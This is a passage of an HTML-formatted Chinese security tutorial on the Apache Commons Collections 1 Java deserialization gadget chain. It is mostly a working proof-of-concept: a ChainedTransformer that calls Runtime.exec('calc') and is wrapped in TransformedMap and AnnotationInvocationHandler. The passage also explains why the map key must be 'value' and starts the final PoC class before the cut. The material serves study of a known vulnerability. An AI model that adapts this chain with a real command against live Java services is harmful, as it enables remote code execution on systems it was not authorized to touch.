0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ConstantTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.InvokerTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.map.TransformedMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ByteArrayInputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ByteArrayOutputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ObjectInputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ObjectOutputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.annotation.Retention;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.reflect.Constructor;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.reflect.InvocationHandler;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.HashMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.Map;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">DEMO2</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String[] args)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> Exception </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>        Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.class),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getMethod&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>                        String.class,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>                        Class[].class}, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getRuntime&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;invoke&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{Object.class,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>                        Object[].class}, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>                }),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> String[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span>                                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span>        };<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>        Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ChainedTransformer(transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>        Map innerMap = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">33</span>        innerMap.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;value&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;xxxx&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">34</span>        Map outerMap = TransformedMap.decorate(innerMap, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">35</span>                transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">36</span>        Class clazz =<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">37</span>                Class.forName(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">38</span>        Constructor construct = clazz.getDeclaredConstructor(Class.class,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">39</span>                Map.class);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">40</span>        construct.setAccessible(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">true</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">41</span>        InvocationHandler handler = (InvocationHandler)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">42</span>                construct.newInstance(Retention.class, outerMap);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">43</span>        ByteArrayOutputStream barr = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ByteArrayOutputStream();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">44</span>        ObjectOutputStream oos = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectOutputStream(barr);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">45</span>        oos.writeObject(handler);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">46</span>        oos.close();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">47</span>        System.out.println(barr);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">48</span>        ObjectInputStream ois = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ObjectInputStream(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">49</span>                ByteArrayInputStream(barr.toByteArray()));<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">50</span>        Object o = (Object) ois.readObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">51</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">52</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">运行代码发现没有报错，但是并没有打开计算器。这是因为什么呢？<br/>以下涉及到JAVA注解方面知识，这里只进行简单分析，详细过程可以参考- <a href="https://xz.aliyun.com/t/7031#toc-8" target="_blank">https://xz.aliyun.com/t/7031#toc-8</a><br/>通过调试发现，在AnnotationInvocationHandler类反序列化过程中，有这么一个判断：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="744" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.22849462365591397" src="https://wechat2rss.xlab.app/img-proxy/?k=5582f2ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhk8UI79ft1JZzoWtJicDCZtbSaJUZxwibpKTC64OtJ5nkDPYLBqrtj74cQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图5</figcaption></figure><br/>如果var7等于null，则不会执行下面的代码也就不会执行我们精心构造的利用链。<br/>通过代码可以看出，var7是var3.get(var6)得到的，var6是我们传入的key，通过调试发现，var3详细信息如下：<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="497" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.2152917505030181" src="https://wechat2rss.xlab.app/img-proxy/?k=d48e68c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkvK8hSzJtoSdrqX7JEQXeXIde4fIuJicuhbdsx5vY8bPH6Qg5oXjvKAQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图6</figcaption></figure><br/>可以看出var3中包含了一个Hashmap$Node的元素，这个元素的key值是value,而我们传入的key值是test，所以这里应该要改为value值。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">最终POC</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">经过上面的分析，将代码中我们传入的key值改为value在试：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">package</span> Commoncollections1;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> com.sun.xml.internal.messaging.saaj.util.ByteInputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.Transformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ChainedTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ConstantTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.InvokerTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.map.TransformedMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ObjectInputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.io.ObjectOutputStream;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.annotation.Retention;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.reflect.Constructor;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.HashMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.Map;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">/**<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span> * Created by King on 2022/1/12.<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span> */</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">DEMO3</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: 